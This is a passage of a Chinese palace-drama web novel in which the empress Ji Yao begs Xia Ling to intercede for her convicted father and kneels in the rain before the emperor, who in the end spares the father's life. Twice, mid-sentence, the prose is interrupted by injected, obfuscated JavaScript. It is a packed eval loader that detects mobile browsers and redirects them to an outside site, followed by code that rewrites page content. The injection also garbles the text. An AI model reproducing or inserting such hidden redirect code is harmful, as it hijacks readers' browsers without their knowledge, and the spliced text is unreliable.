永宁宫本就冷清,被秋风一扫,就又多了几分寂寥。 暖阁中静悄悄的,即便已经尽量放轻的脚步,但鞋底踩在地面上的窸窣声仍格外明显。夏绫进了里间,见纪瑶坐在花窗下,暗影落了满身。 听到声音,纪瑶缓缓抬起头来,看清是夏绫,仍是牵强的笑了一下:“现在阖宫的人见了我都躲着走,你怎么还敢来。” “我想来看看你。”夏绫走过去,与纪瑶一同傍着小桌坐下,将手中的书信放在桌面上,“有人托我带一封家书,要转交给你。” 家书。 纪瑶眼睫颤了颤,倏而伸手将那封信抓过来,因为手抖得太厉害,她捻了好几下,都没能把封口捻开。 信封中只有薄薄的一页纸。 寥寥几言,原本一眼就能看尽,纪瑶却捧着纸张看了好久。 “绫儿……”再抬头时已泪水盈睫,纪瑶无助的拉住夏绫的衣袖,乞求到,“你能不能帮帮我?皇上,皇上他不见我,我实在不知道该怎么办了,只有你,你说的话皇上都会听的,拜托你,帮帮我吧……” 上月十五,还有这月初一,宁澈断了自即位以来都秉承的礼法,没有再到永宁宫来。自成婚起,纪瑶从未如此盼望过能见皇上一面。 夏绫将衣袖从她的指尖抽回来,垂眸道:“瑶瑶,你该听你父亲的话,不要参与到这件事情中来了。” “不,不行的!”纪瑶拼命摇头,“他是我唯一的亲人,我不能没有他,真的不能。绫儿,我了解我爹的,他不是那种人,他不会做那样的事的……” “可是铁证如山。”夏绫闭了闭眼,近乎有些残忍的开口,“瑶瑶,你真的了解他么?他是不会为了你去贪银子,可是为了他儿子呢?” 纪瑶被这句话冻在了原地,只有泪水无声的自面颊滑落。 是啊,她所了解的父亲,已是十余年前的父亲了。那时的父亲,也只是她一个人的父亲。做了皇后之后,她同纪文征的书信的少的可怜,怎么就能断言自己是了解他的呢? 夏绫不愿意接触纪瑶的目光,只是垂着眼说道:“瑶瑶,或许你父亲并不是主谋,或许他也并没有做过什么伤天害理的事情,可是他拿的那些银子,却是实实在在沾着人血的。你知道,就因为他们的贪心,有多少女孩子可能被卖去换钱,她们被卖掉后又会经历怎样的炼狱?而我,曾经也是她们当中的一员,你知道靠卖笑活着是什么感觉么?” 她深吸了一口气:“我不能拿自己当个人,一旦我想起我还有作为一个人的感情,我就笑不出来,我只想哭。可只要一哭,我就得挨打,挨的多了,我就会憎恶自己为什么还活在这个世上。所以瑶瑶,请恕我无法共情那些贪墨的官员,也无法去向皇上开这个口,否则我就是背叛了自己,背叛了我作为一个女子应有的自爱。” 纪瑶怔愣着看了夏绫一会,抬手擦干净脸上的泪痕,站起身来。 她走到夏绫面前,忽屈膝跪下,俯身叩下头去。 “瑶瑶!”夏绫一惊,忙也一同跪到地上,想要将她扶起来。 “绫儿,对于我父亲犯下的错,我代他向你谢罪。” 她顿了顿。不知是从什么时候起,她就开始厌恶自己,而此时,心底对自己的厌恶达到了顶峰。 纪瑶逼自己说道:“你记不记得你曾经说过,若我日后有用得到你的地方,你豁出命去都会还我的情。我现在恳求你,拜托你,帮我求求皇上,留我父亲一条生路,不知你当时说过的话,还能否算数?” 夏绫像是被一柄寒剑狠狠刺中了后背。 她是说过这样的话。 彼时傅薇病危,她找不到门路出宫去给宣明帝报信,是纪瑶帮了她。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961032|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,她对纪瑶磕了个头,欠下一个天大的人情,承诺日后会还她。而今日之情景,竟与当时无异,只不过跪着的人,变成了纪瑶。 果然,欠什么,都不能欠人情。 夏绫觉得自己好像突然被一只巨手钳住了喉咙,她想逃离开这个地方,可又有什么东西戳着她的脊梁骨,让她没有力气把纪瑶推开。 没有人告诉过她,要还个人情,竟然这么难。 “我,我……”夏绫如鲠在喉。 她推开纪瑶的手,闭了闭眼,让自己纷杂的心绪冷静下来。 “瑶瑶,这件事在道义上有失,我很抱歉。”夏绫狠心说道,“我说的话依旧算数,我能为你做的事,也一定会竭尽全力。但在这件事上……我真的无能为力。” 纪瑶眼中的最后一丝希望也熄灭了。 “没关系,没关系的。”她努力弯了弯唇角,尽管眼里还蓄着泪,“对不起,绫儿。我没有想要要挟你,我只是……把我能做的都做了,这样我心里也会好过一些。” 夏绫低着头,并未因为纪瑶松了口,心里就轻松了半分。因为这个人情,她是实实在在欠下的,她对纪瑶依旧心中有愧。 她不想在这个地方再待下去了,待的越久,她就越觉得进退两难。 “瑶瑶,你多珍重,不要多想。我……我过段时间再来看你。” 纪瑶惨淡一笑:“先不要来了。出了这样的事,同我走得太近,终归不是好事。” 西二长街上鲜有宫人经过,日升月落间,永宁宫在孤单与沉默中又度过了一个日夜。 入夜后,纪瑶坐在妆台前,徐婉将她发冠上的珠钗一件件都拆下来。她见纪瑶只是木木的坐着,没有什么精神,思量几度还是开口问道:“姑娘,咱家老爷的事……” 纪瑶迟缓的摇了下头:“我求过了绫儿,可是她不愿意开这个口。” 徐婉叹了口气,为纪瑶篦头发的手也慢了下来:“也无怪乎小绫儿会不答应,这丫头小的时候确实不容易。只不过,委屈姑娘了。” “没有的。谁还没有个求人的时候,况且绫儿也不是外人,算不得委屈的。” 徐婉眼眶有些发热,咽了口苦水,却还是忍不住道:“可奴婢心里还是不甘。您当初在傅娘娘的事情上出了力,虽说帮的是小绫儿,可说到底,皇上才是傅娘娘正儿八经的儿子,也该是皇上欠您的人情。可现在,他却连见都不肯见您一面……” 纪瑶淡淡道:“话不是这么说的。只有对方觉得是承了你的情,这个人情才有用。” 她沉了一会,转过身来对徐婉道:“婉娘,我想了想,还是决定得去乾清宫一趟。如果皇上不见我,那我就在殿外跪着等,等到他见我为止。你帮我去找件体面些的衣服,不要太华丽,也不要太素净,我明天就去。” 徐婉怔了怔,很快答到:“那明天奴婢陪您一块去。” 纪瑶却摇摇头:“不,婉娘,我一个人去。” 她先一步在徐婉开口前说:“上回的事情,已经让你吃过一遭苦头了,明天我也不能保证,皇上会不会再对你发难。如果他再像上次那样对你,我真的不确定自己能不能坚持的下去。但这次关乎我爹的性命,我绝对不可以放弃,所以只能我自己去。” 挨过板子之后的伤疤,徐婉在每次直视自己的身体时,依旧无法忘记当时皮肉绽开的疼痛。她的眼眶一下子红了,跪到纪瑶身前哽咽到:“姑娘,你何时受过这样的疼啊?” 纪瑶伸手,轻轻摸了摸徐婉的发髻。 “怎么没受过?”她的声音低的只有气息,却依然颤的厉害,“在云瞻死讯传来的那天,我这一生再受的所有的疼,都不会比那天更甚了。” 84. 雨打残叶 夏绫去遛狗时,见钟粹宫院墙外的银杏黄的格外灿然,一时心痒,便折了几枝下来,打算拿去装点宁澈的书房。 她抱着满捧黄澄澄的树枝回了乾清宫,宁澈正在书房中伏案写些什么,近前伺候的只有谭小澄。 夏绫心想,反正自己也不说话,于是装成个透明人,轻悄悄的飘进去,将花瓶里的干花枝子拿出来,换成新折的银杏枝插进去。 但宁澈还是注意到了她的动静。他偏头瞅向她,向上挑了挑眼眉,当是打招呼。夏绫假装没看见,只是暗暗朝他比了个手势,示意他赶紧去干他自己的事。 夏绫正在琢磨如何摆弄这些银杏枝子能更好看些,刚好有个在殿外值守的小内侍匆匆忙忙的进来,附在谭小澄耳边低声说了句什么。 谭小澄脸色变了变,挥手示意小内侍下去,稳了片刻的心思,开口禀道:“主子,皇后娘娘求见。” 夏绫的手僵住了。她的眼睛虽然还在盯着银杏叶看,可心思却全都跑到去听他们的对话了。 谁知,她听到的下句话却是:“纪文征给她的信,她没看么?” 夏绫反应了一会,才意识到宁澈这句话是在问自己。 抬头时,发现宁澈早已侧过身来,直直往她这看了。 “哦,看了。但是……” 她还没想到要但是个什么出来,宁澈已对谭小澄说:“让她回去吧,朕不会见她的。” 谭小澄应是,倒着身子退出去传话了。 “阿澈,我劝过娘娘了,但这毕竟是她爹的事,她很难一下子就想清楚。” 夏绫也不知道自己究竟在解释个什么劲。她的本意是想替纪瑶说话的,可这话说出了,却像是在替她自己开脱一样。 宁澈却没接她的茬,只没话找话道:“这叶子挺好看的,你接着弄吧。” 谭小澄很快回来,躬身回禀道:“主子,娘娘还是坚持要见您。娘娘说,您要是不见她,她就一直跪着等您改变心意。” 宁澈手里的笔都没停一下:“那你去跟她说,纪文征出事的时候,他的续弦夫人一封和离书,就带着儿子回了娘家,将关系撇的干干净净。跟着他姓纪的儿子都没给他求过一句情,平日里他对女儿不闻不问,没道理这个时候让闺女来替他求情的。叫她回去,这份苦不是该她来讨着吃的。” 谭小澄应下,这回比上次的时间长了一些才回来。 许是差事办的不如意,他心里头发虚,干脆跪着回话了。 “主子,娘娘她……还是不起来。” 宁澈倒是一点都没意外。他没抬眼,连眉头都没皱一下:“她要愿意等,那就让她自己等吧。但过会让人散消息出去,不是皇后自己来为罪人求情的,是朕看她不顺眼罚她跪在这的。要是有人说错了话,拖出去该怎么罚就怎么罚。” 夏绫已经没心情摆弄那几只银杏了。她见宁澈低头写东西写的还挺认真的,便打算悄没生息的溜出去。为了不显眼,她从谭小澄背后绕过去,可刚走到门口,便听见宁澈的声音从背后传来:“回来。” 夏绫不得已只能停住了脚步。 “干嘛去?” 夏绫本想要敷衍过去,可看见宁澈那种什么都能看透的眼神,心里头还是虚了。 “想去劝劝娘娘。奴婢若是同她说几句,她或许能听。” “你不许去。”宁澈说的直白。 “可是,娘娘身体本就不太好,在外面跪的久了怕是会伤了身子。所以奴婢还是想去试试……” 宁澈阴阳怪气的笑了一下:“你昨天不是试过了吗,她听了吗?” 平时要是有旁人在,宁澈跟夏绫说话都会收着些。可今天他就跟吃错药一样,说话特冲,就好像故意想怼她似的。 夏绫的火也有点给拱起来了。瑶瑶更要紧,管他的。 “那你也不见她,也不让我去,就这么耗着?” 谭小澄就在一旁低头守着,听了这句话,他虽不敢动,但眼皮还是狠狠的跳了两下。他活这么些年,还从来没见过有人敢用这种语气跟皇上说话的。 宁澈说:“她身子不是不好么。等真撑不住了,朕让人抬她回去。” 夏绫都被这句话给顶懵了。他能自己听听在他都在说些什么吗? 夏绫不太想搭理他了。 “算了,和你说不通。”她想走,要是再在这待下去,说不定真会忍不住跟宁澈吵上一架。 “乔乔。”宁澈把她喊回来,抱臂在身前,眉头依旧紧着,“你稍微动下脑子。她现在是在用皇后的身份给通倭的犯人求情,若是让前朝知道了,她还不被那群言官参成筛子?你到底是想帮她还是想害她?” “我没说她替纪文征求情就是对的。”夏绫解释道,“我只是不想看她白吃这份苦,把她劝回去都不行吗?” 宁澈轻啧了一声。 “那我问你,要是现在在牢里关着的人是我,处在皇后的那个处境里的人是你,别人让你回去,你就能听话的乖乖回去吗?” 夏绫张了张嘴,可是却没有什么反对的词能说出口来。最后一撇嘴嘟哝道:“不能。” 但是她还是觉得哪里不太对劲。宁澈这边比方打得忒不恰当,他不能把自己比喻成她爹。 “这是她自己的业障,别人帮不了她的。”宁澈顿了顿,“况且,我很不想让你碰这件事。” 夏绫抽了抽鼻子。她虽然知道宁澈的话没错,但就这么干看着,心里总归是不舒服。 “你要是看着难受,就先别待在这了。”宁澈单手拄着额角,“这样,你帮我去看看宁潇吧。这孩子昨天就说有点不舒服,你去陪他一会。” 夏绫唔了一声。 宁澈又补了句:“中午吃过饭再回来。” 出了乾清宫,沁凉的秋风扑面吹来,竟有了些北风的味道。今日的云层有些厚,没有刺眼的日光,紫禁城中红墙金瓦的重重宫殿轮廓显得格外清晰。 宁潇确实是病了。孩子身上本来就没有几两肉,再一生病,两只眼睛大的都怪可怜。 见了夏绫,宁潇果然开心了许多,病的蜡黄的小脸都有些回了红,拉着她窝在床上叽叽咕咕说了好多的话。 夏绫陪他玩了一会,一直到了该用午饭的时间,喂他把饭给吃了。在近旁伺候的内侍都说,小王爷今日高兴,连粥都比平日多喝了半碗。 可毕竟病去如抽丝。吃过饭后,宁潇的精神头明显有些撑不住了。 夏绫答应等宁潇睡着之后再走。她坐在房间中等了一会,听着孩子的呼吸声慢慢变得舒缓绵长,却忽而又有唦唦的响声打在窗棂上。 竟是下起雨来了。 秋日的午后,风云暗沉,雨打残叶。 秋雨缠绵悠长,夏绫等了一会,见雨没有要停的意思,索性借了把伞回乾清宫去。 万点雨丝打落在伞面上,密密匝匝,却不显吵闹。秋雨混着凉风,竟让人开始觉得有些了冷了。夏绫缩在伞下,尽量不让伞骨上滴下的水珠濡湿她的衣衫,但一路走回去,鞋尖还是被雨水给浸透了。 她从日精门进去,远远的却看见,宫殿墀台的汉白玉阑干下,跪着个小内侍。 走近才发现,这人她认识,是常跟着谭小澄干活的一个小内侍,平时都叫他小吴。 自谭小澄当了秉笔,虽不似司礼监其他人手下都有一大帮人能支使,手底下也总得有一两个能帮衬上的人。他便自己挑了两个性子踏实,愿意跟着他干活的,手把手的亲自教他们。小吴是一个,还有一个小金,两人都不过才十五六的年岁。 墀台下的地方不显眼,夏绫见小吴自己孤零零的跪在那,身上的衣服早就湿透了。他似是挨了打,两边脸颊上都带着伤,眼眶也红红的,不知是不是趁着雨水打在脸上不显,偷偷哭了一把。 夏绫握紧了伞柄,觉得冷意好似又深了几重。她抬头往墀台上看去,忽然有些不敢踏上台阶了。 瑶瑶还在那里吗?夏绫多希望她已经回去了啊。 可是没有。 夏绫撑着伞慢慢走上石阶,越过重重雨幕,见那个单薄的身影依旧跪在巍峨的大殿之前,渺若沧海一粟。 或许是因为冷,纪瑶的双肩瑟缩着,身体微向前倾,双手一直在攥紧膝盖前的衣裙。雨水将她头上不甚繁复却依旧端庄的珠翠洗刷的不染一尘,凝结的水珠顺着她耳垂上泪滴状的吊坠一滴滴落下,她就这样执拗而沉默的跪在雨中,以一己之微力,试图与庞大的皇权相对抗。 夏绫走进大殿的廊庑下,将伞撑在一旁,掸了掸衣袖上的水气。 她见在门口值守的人正是小金。小金垂着手,鼻头红红的,不知道是不是也哭过。 “小金,”夏绫走过去,低声问道,“小吴是怎么了?” 看见夏绫,小金的眼眶一下子红了。这个年岁的孩子,还没学会怎么把事情都藏在心里。 “小乔公公,”小金的声音发哑,“中午的时候,奴婢和小吴帮着师傅一块伺候茶水,小吴不过随口说了句,替皇后娘娘觉得不值得。哪知师傅却严斥他犯了大忌讳,让他到底下跪着去,还得自己掌嘴。” 他口中说的师傅,便是谭小澄了。这孩子 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纪瑶也觉得她和皇上是一条路上的人,因为怨宁澈所以也避着她。 真是可笑。世人为何总是惯以宁澈为标准,来判断该怎么对待她,可是她自己就是她自己啊。 夏绫踏进书房,对宁澈道:“我回来了。” “哦,回来了。”宁澈搁下笔,依然静水无澜,带了一丝客套的笑,“中午吃的还好吗?” 夏绫没有接他的话,却说:“皇上,外面下雨了。” “嗯,听见了。”宁澈淡淡说,下意识的揉了揉肩膀。阴天下雨,又坐了这么久,是到了该疼的时候了。 “乔乔,你帮我去把这本书译一译吧。”宁澈说着从桌案上抽出一本并不厚实的倭文书,“钟义寒不是被关起来了么,你帮帮我。” 夏绫走过去把书拿来:“你不说这段日子都没空看了么?” “今天突然又想看了。” 夏绫哦了一下。她知道,宁澈并不是真想看译文,而是单纯的想给她找点事情做。 夏绫抱着书回去,出了大殿,隔着廊庑滴落下的雨水织成的雨帘,又看到了跪在雨中的纪瑶。 她的身子在微微发抖,头也比方才低了许多,大概是快撑不住了。可她仍旧倔强的紧咬着下唇,竭力让自己维持清醒。 可就在这时,纪瑶似乎感觉到了什么,缓缓抬起头来,朝大殿的方向望去。恰与站在屋檐下的夏绫目光交汇。 夏绫的心头霎时紧缩。 她说不清纪瑶的目光中有什么,绝望,悲凉,却又有些,解脱。 莫大的恐惧忽而在夏绫心中蔓延,不知为什么,她蓦然觉得,那是濒死之人才会有的神色。 纪瑶望着夏绫,竟对她浅浅的笑了一下,用口型对她说了两个字。 回去。 夏绫彻底慌了。 她急于冲入雨幕当中去,甚至都忘了要打伞。冰冷的雨水已触及上她的面颊,可忽有人在此时拉住了她的衣袖。 夏绫回头,见身后之人是谭小澄。 “小谭哥?” 谭小澄拉着她,找了一处相对僻静的角落。 “乔,你那么聪明,我都能看出来的事,你怎么就不明白呢?”谭小澄声音不高,却字字珠玑,“我不知道主子究竟能纵容你到何种地步,但他能那样待你,你在他心中一定是分量很重的。所以即便你抗旨去劝了娘娘,他也会宽宥你,可是他心里恨的却会是娘娘。” 谭小澄点到为止,因还要回去上值,对夏绫拱手揖了一礼,匆匆返回了殿内。 徒留夏绫一个人站在宫檐下,深深吸了口湿凉的空气。 谭小澄说的对,她确实不能这样冒失的去找纪瑶。可如果她就这样冷眼旁观,她就永远会对纪瑶有亏欠,一个人情欠上一辈子。 可是,瑶瑶啊。 在从前的很长一段时间里,纪瑶都是她还能走下去的支柱。 在傅薇病重,阿澈却不在宫里的时候。 在傅薇病危,她却无人可求的时候。 在傅薇过世,她被打的浑身是伤,无人给她上药的时候。 在西五所那些几乎要扛不过去的日子,都是纪瑶在扶着她往前走。 夏绫闭了闭眼,转身往殿内走去。 她的脚步极快,生怕这股冲动会转瞬即逝。进了书房,她片刻没有耽搁,屈膝直接跪在了御案前。 “皇上,我想替娘娘求个情。” 85. 知不可为 秋日的凉意透过地板返上来,穿透夏绫单薄的衬裤,磋磨着她的双膝。 宁澈将笔搁置在山字架上,嗒的一声微响。 他将双手交叉放在身前,身子向后倚去,审视着跪在他面前的那个女孩。 “乔乔,你不该开这个口。” 夏绫低头道:“我知道。可是我欠她一个很大的人情,没法不还。” 宁澈深吸了一口气,似乎是要借以这一呼一吸之间的空当,给他自己一点思索的时间。 “那你想替她求什么,免了纪文征的罪么?” “不,不是的!”夏绫抬头否认,“他既做了错事,就理应受到惩罚,这样才对黎民万千有个交代。我作为英烈之后,也断没有请求宽恕一个贪赃之人的道理。” 宁澈插起手臂:“那你跪在这,又是想让我做些什么呢?” 夏绫被问卡壳了。对啊,她到底在求宁澈什么呢? 她忽然又想起了,钟义寒曾同她讲过的屁-股还是脑袋的问题。现在她的屁-股和脑袋离的更远,已经把她拧成麻花了。 “我只是,只是不想让瑶瑶那么难过。” “呵。”宁澈干笑了一声,“那你这是在自己感动你自己吗?” 夏绫诧异的看向宁澈,不是因为他这话说的难听,而是一语中的,把她给点明白了。 其实做到这一步,夏绫完全能够收手了。她可以去同纪瑶说,我帮你去求了皇上,但是皇上没答应,这个人情也就算是还了。那不管是在她自己,还是从旁人看来,明知不可为而为之,说仁至义尽也不为过。 但是,这对于纪瑶其实没有任何帮助。 夏绫忽然想明白了,她想要做的不是还纪瑶人情,而是真的很想让她能好过一点。 她知道自己该向宁澈求些什么了。 夏绫俯身叩头下去:“皇上,我不敢求你宽恕罪人,娘娘也不会因为她与罪人有亲就妄图干涉政事。但我只求你能给娘娘一个结果,如果真的是最坏的那种,恳请皇上在行刑前让娘娘同纪大人再见上一面。” 这个请求,已算不得过分了。再见一面,至少能让纪瑶少些遗憾。 上首许久都没传来声音。夏绫就一直跪着等,直到一只手指从下面伸过来,戳了戳她的脑门。 夏绫抬起头,见宁澈不知何时已走了过来,盘腿坐到了她对面。 他瞥了眼夏绫的膝盖:“换个姿势呗,这样不疼么?” 夏绫从鼻子里嗯了一声。她平日里没什么需要下跪的场合,也就没有戴护膝的习惯,这样跪上一会,是有些疼。 她也同宁澈一样,盘腿坐到地上,两人就好像一同坐在炕头上。 “乔乔,你知道这件事我是怎么打算的吗?” 夏绫摇摇头。 宁澈道:“我其实想好了,只要你开了这个口,不管你想让我做什么,也甭管事情有多难办,我一定会答应你。毕竟,你求我做的事没几件,我也从来没给你办到过。” 夏绫抿了抿嘴。从小到大,她只求过宁澈一件事。那就是带傅薇走。 “所以,我今天气是有点不太顺。因为我就知道你肯定忍不住,更担心你会因为关心则乱而抛弃了自己的原则。但好在,你比我想象的要坚定许多。” 夏绫咕哝道:“我哪有那么糊涂。虽然有时候我的脑袋会偏,但我的屁-股一直都是在你这边的。” 宁澈懵了一下:“什么屁-股脑袋的?” 夏绫脸一红:“嗐,都是钟大人教给我的词。” “你跟他学点好。”一提起钟义寒来,宁澈就开始不自觉的皱眉。 夏绫生怕钟义寒会影响到宁澈的心情,再让他变了卦,忙问到:“阿澈,那娘娘的事,你是答应了?” 宁澈睨了她一眼,说:“纪文征没判斩。他没主动与倭寇勾连过,罪行交代的详实,拿的银子也不是最多的,内阁给出的处决是死罪可免,活罪难逃。我对这样处理并没什么意见。” “那判的是……” “流放辽东。”宁澈沉了口气息,“九月廿七午时,在午门听旨后就直接押解上路。” 时间,地点都有了,这是默许夏绫可以想办法让他们父女再见一见。 “阿澈,谢谢你。”夏绫真诚的道了句谢,从地上爬起来,想出去送纪瑶回去。 “等会。”宁澈也站起来,把夏绫叫回来,“我话还没说完。” 他朝夏绫走近两步,微低下头,声音不高:“你同她说,流放辽东的路上虽会比较辛苦,但好歹保住了条命。等过两年,这事的风头过去,在那边找地方养养老,也算是能善终了。” 夏绫眉心动了动:“阿澈,你在背后为娘娘其实做了很多事的,但为什么一定要显得那么冷漠呢?” “别介,我可什么都没干。”宁澈插着手臂耸了下肩,“我所做的都是该做的事而已,可不想惹一身人情债。况且,我何必摆一副善人的姿态,要让她一边记恨我又一边感激我吗?这不是当那啥还想立牌坊么。” 夏绫也不知道该怎样说他,只是敛衽对他行了一女子礼,当是代纪瑶谢过。 走出乾清宫时,夏绫的脚步依旧匆匆,但却轻快了许多。 她弯身拿起自己支在檐下的伞,掸了掸伞面上的雨珠,快步朝纪瑶走去。 雨中,纪瑶低伏着身子,用双手支撑住地面,整个人已摇摇欲坠,只是在竭力维持着最后一点清醒。 可忽而,她觉得落在自己身上的雨似乎是停了。纪瑶眯着眼,迟疑的抬头向四周望去,却见雨依旧下着,只是不再淋在自己身上。 她意识到了什么,缓缓仰起头,见一把油纸伞遮在自己的头顶。 夏绫蹲下身,伞向纪瑶的方向倾斜很多:“瑶瑶,咱们回去。” 纪瑶只是直愣愣的看着夏绫,动了动僵冷的手指,攥住她的衣袖,却没有想要离开的意思。 夏绫俯身在她耳边,轻声道:“你父亲不会死的。我去想办法,让你再见一见他。” 纪瑶呆木的眼神中终于有了一丝波澜。她嘴唇翕动,可因在雨中跪的太久了,已冷的一句话都说不出。 夏绫知道纪瑶没什么力气了,便抱住了她,将纪瑶的两只手臂搭在自己的肩膀上:“来,瑶瑶,我用力往上顶,你借我的力气站起来。” 纪瑶微弱的点了下头。她能感觉到,夏绫在用全力想扶她站起来,她自己也很努力的想要用力,可双腿却完全没有了知觉,最后还是身子一软,她连带着夏绫一起都歪倒在了地上。 伞摔到了一边,滚了几步出去。潇潇秋雨再一次倾覆上来,打湿了两个女孩的发髻与眉梢。 纪瑶抬起头,见天幕恢恢,万千雨丝坠落,她仰面迎着寒凉的雨水,却忽而,笑了出来。 “瑶瑶?”夏绫唤她。 纪瑶笑的浑身发抖,可渐渐的,却变成了失声痛哭。 纪瑶埋在夏绫怀里,哭的痛心切骨,双手死死攥住夏绫的衣袖,手背上青筋突起。 夏绫只是安静的抱着纪瑶,手一下一下,在她的背上轻抚着。自她认识这女孩以来,这是第一次,见到她崩溃到如此狼狈。 摔落到一旁的油纸伞,默然在雨中斜撑着,此时已无人需要它。 * 永宁宫中,徐婉早已坐立难安。她在屋中坐不住,索性撑了把伞,到宫门口去等。 她都不知道自己在永宁宫的牌匾下究竟徘徊了多久,直到蓦然看见,在长街尽头的雨幕中,出现了两个相互依偎的身影。 徐婉眼眶一热,连忙快步跑着迎上去。 “姑娘,小绫儿,怎么不打伞呢?”她将手中的伞全都遮在了纪瑶与夏绫头顶,自己却完完全全曝露在了雨中。 夏绫此时身上也全都湿透了:“都已经这样了,打不打的也无所谓了。徐婉姐,咱们都赶紧回屋去吧。” “哎,哎。”徐婉应着,连忙从另一侧也搀住纪瑶。纪瑶走不快,三个人就这样彼此扶持着,一步一步走过长街,终是回到了可遮风雨的屋檐下。 回了永宁宫,徐婉脚不沾地的忙着招呼烧热水,煮姜汤,又去取来干净的衣服给两人换上。 夏绫是完全顾不得自己了。纪瑶已是虚弱到了极致,一坐下便再也站不起来。夏绫帮着她将身上的湿衣服全都褪下来,在脱裤子时,却发现她膝盖处的衣料已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986664|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂了红,被雨水泡湿后洇开了一大片。 尽管纪瑶忍着不出声,但在衣服和皮肤分开时,还是疼的不住地想将腿往回缩。原本光洁白皙的两条小腿上,有好几处都磨破了皮,再被雨水一泡,发白发皱,形似脓疮。 徐婉一看到这伤,双眼立时红了。她背过身去,用帕子捂住了嘴,却仍是忍不住滚下大滴的泪珠来。 夏绫见状,连忙扶住徐婉的肩,轻轻拍着:“姐,现在不是哭的时候,你一这样,瑶瑶怕是会更难过。” “我知道,我知道。”徐婉用力按了按眼角,将眼泪逼回去,“我就是有些心疼姑娘。做这皇后,虽说是天底下最金尊玉贵的女人,可是哪家的媳妇,又用得着受这般委屈呢。” 纪瑶却好似没听到一样,将自己伤痕遍布的双腿用小被子盖住,对夏绫说:“绫儿,你也快换衣服吧。” 夏绫应了一声,将自己身上湿乎乎的圆领袍解开。这透湿的衣服也没地方放,她索性就直接脱在了地上。 纪瑶垂眼看向地上的那团脏衣服,忽说:“绫儿,这衣服我让人洗好之后再还给你吧。” 夏绫正用干帕子绞着头发,随口应道:“不碍的,这件穿了有些时日了,若是麻烦就不要了。” 纪瑶微微向上抿了下唇角。 水烧好后,两人各自到热水桶中泡了好一会,又被徐婉盯着都喝了一大碗姜汤驱寒。 折腾完之后,时辰也已向晚了。 夏绫散着头发,只穿了中衣,拿着药罐子坐到纪瑶床上。 “我说叫太医来看看,但徐婉姐拦着不让。你就先凑合一下,我帮你上些药。” 纪瑶嗯了一声,将盖在身上的被子掀开。 “没事。毕竟皇上说是他罚我的,挨了罚还要请太医,会显得我对皇上有怨言。” 夏绫手上顿了顿,生怕弄疼了她:“瑶瑶,你别怨他。他这个人,有的时候就是轴劲犯了,谁说也不听。但他就是对事不对人,不是故意要难为你的。” “绫儿,我不糊涂。我知道皇上这次不是要难为我,而是要帮我。”纪瑶垂下眼睫,在面颊两侧映下睫毛的阴翳,“我只是叹过去自己的可笑。” “从小,爹爹和先生就教导我,要守规矩,懂礼仪,宽和柔顺,却又宁折不弯。我将那些话视为圭臬,时时将自己置于圣贤的规训之中,即便做了这个我不怎么愿意的皇后,也尽量做到贤德,为此也吃了不少亏。可时至今日,当我跪在乾清宫前去求皇上歪曲绳墨时,我一遍一遍的在想,我从前的坚持,究竟是为了什么。” 纪瑶自嘲的一笑:“有许多长辈夸过我,是个柔顺乖巧的孩子,可是却无人知道,在这乖巧的背后,我要自己默默咽下多少委屈。可就为了那几句夸奖,我拼了命的将自己捆绑在那些规训中,直到变得无趣,且懦弱。” 夏绫轻声道:“瑶瑶,不要这么说自己。” 纪瑶轻哼了声,倾身抱住双腿,也就离夏绫更近了些。 “我这个人,性子其实是有点孤僻的,独来独往惯了。但是绫儿,你知道为什么我却那么容易就跟你亲近起来吗?” 夏绫摇了摇头,那都是快十年之前的事情了。她已经不记得是怎么和纪瑶熟识起来的了,好像一切都是水到渠成。 纪瑶扬了下唇角:“因为我羡慕你。你身上从来都没有过那种被规训后的畏缩,你让我惊叹,在这深宫之中,怎么还能有向你这样朝气蓬勃的女孩子。直到后来见到傅娘娘,我便明白了。原来女孩子那样养,才会长成我最期待的模样。” 夏绫呼出一口温热的气:“薇姨是把我养的挺好的。” 纪瑶沉默了片刻后,忽开口问:“绫儿,如果有一天我死了,你能把我的骨灰带出宫墙么?” “你说什么呢!”夏绫猝然抬眸,“我不答应你。瑶瑶,你不要想那个字,也不要指望靠这种方式来逃脱!” 夏绫是有些失态了。毕竟,上一个要她将遗骨带离宫墙的请求,她还没有做到。 “瑶瑶,如果你真的讨厌这里,那就靠你自己,活着走出去。” 靠她自己?纪瑶苦笑了一下。 “行吧。那我试试。” 86. 终有一别 及至九月下旬,轰轰烈烈查了近两个月的山东都司通倭案,终于走到了尾声。 景熙皇帝亲下敕令,主犯韩山岐,问斩,夷三族,即时行刑。 从犯六人,问斩,男眷发配充军,女眷籍没为奴。 其余共犯二十余人,依罪行轻重,判笞杖,监禁,流放等刑罚各不相同。 九月廿七,通倭人犯由大理寺狱押解至午门外,听候判决旨意。 当日一早,便有五城兵马司的官兵戒严了自大燕门至午门的通路,但即便如此,在长街两侧依旧站满了早早来此围观等候的百姓。 及至午时,在官兵与锦衣卫的押送下,带着镣铐的罪犯缓缓自长街走入了承天门。 天幕中层云千里,恰有数只寒鸦自人群头顶飞过。 入承天门后,百姓不得跟随。锦衣卫指挥使庄衡手握圣旨立于午门前,一身玄色曳撒,远远望着囚犯的队伍行至近前站定。 人犯在官兵的押解下皆面向午门跪地俯首,庄衡展开明黄色的卷轴,肃声读出帝王亲笔写下的判决。 